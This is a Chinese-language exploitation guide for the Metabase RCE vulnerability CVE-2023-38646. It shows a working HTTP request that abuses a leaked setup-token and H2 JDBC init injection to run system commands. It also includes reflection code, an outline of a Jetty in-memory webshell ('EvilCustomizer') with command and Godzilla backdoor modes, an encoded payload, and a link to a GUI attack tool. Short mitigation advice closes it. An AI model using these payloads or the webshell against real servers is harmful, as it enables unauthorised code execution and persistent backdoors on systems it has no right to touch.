Metabase RCE 内存马构造及GUI工具(CVE-2023-38646)
字数 1217 2025-08-24 10:10:13
Metabase RCE漏洞分析及内存马构造指南 (CVE-2023-38646)
漏洞概述
Metabase是一个开源的数据分析和可视化工具。2023年7月发现的CVE-2023-38646漏洞允许攻击者通过未授权访问获取setup-token,进而重置JDBC连接URL,导致H2数据库远程代码执行(RCE)。该漏洞源于Metabase中残留的setup-token未授权访问问题,结合H2数据库的特性可实现完整的攻击链。
漏洞环境搭建
- 下载受影响版本的Metabase jar包:
https://downloads.metabase.com/v0.46.6/metabase.jar - 运行环境要求:
- JDK版本必须≥11
- 启动命令:
java -jar metabase.jar
漏洞原理分析
漏洞触发流程
- 获取setup-token:通过未授权访问
/api/session/properties获取setup-token - 验证端点利用:向
/api/setup/validate发送恶意POST请求 - JDBC注入:通过控制H2数据库的init参数实现RCE
关键漏洞点
- setup-token未授权访问:新版本中删除了setup-token的残余访问点,但旧版本仍存在
- H2数据库RCE:通过zip协议加载db文件并控制init参数执行恶意代码
"init": "CREATE TRIGGER shell1 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
\[//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A \]
"
3. **JavaScript引擎执行**:Metabase使用nashornScriptEngine执行以`//javascript`开头的语句
### 利用限制条件
1. 必须知道jar包的具体位置
2. 环境变量需配置java,且在当前目录执行`java -jar metabase.jar`
3. 可使用`./metabase.jar!/xxxx`获取文件位置
## 漏洞利用方法
### 基础命令执行
```json
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{
"token": "9b596984-8a65-48a6-9f3b-2561bfb2a052",
"details": {
"db": "zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"init": "CREATE TRIGGER shell1 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A
$$
"
}
}
回显策略
通过反射绕过限制,执行系统命令并获取输出:
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe() {
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
// 完整反射绕过代码...
内存马构造
Jetty内存马实现
针对Jetty 11环境的内存马实现要点:
- 获取HttpConnection对象:通过Unsafe类遍历线程获取
- 注册Customizer:相当于Tomcat中的value型内存马
- 支持两种模式:
- CMD模式:执行系统命令
- 哥斯拉内存马:支持加密通信
public class EvilCustomizer implements HttpConfiguration.Customizer {
// 关键实现代码...
@Override
public void customize(Connector connector, HttpConfiguration httpConfiguration, Request request) {
try {
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
// 执行命令逻辑...
} else if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) {
// 哥斯拉内存马逻辑...
}
} catch (Exception e) {}
}
}
哥斯拉内存马payload
{
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
//javascript\u000A\u0009eval(decodeURIComponent('try%20%7B%0A%20%20load(%22nashorn%3Amozilla_compat.js%22)%3B%0A%7D%20catch%20(e)%20%7B%7D%0A//%20完整JavaScript代码...%0A'))\u000A
$$
"
}
自动化工具
GitHub上的MetabaseRceTools工具提供GUI界面简化利用过程:
https://github.com/Boogipop/MetabaseRceTools
工具使用前提:
- 存在setup-token泄露
- 知道jar文件的具体位置
漏洞修复与防御
- 官方修复:新版本移除了setup-token的显示,但未从根本上修复漏洞
- 防御建议:
- 升级到最新版本
- 限制未授权访问
- 监控异常数据库连接请求
总结
该漏洞展示了从未授权访问到RCE的完整攻击链,关键点在于:
- 利用未授权获取的setup-token
- 通过H2数据库的init参数注入JavaScript代码
- 高版本JDK环境下内存马的构造技术
Jetty 11与JDK 11环境下的内存马实现需要特殊处理,反映了Java安全防护技术的演进与对抗。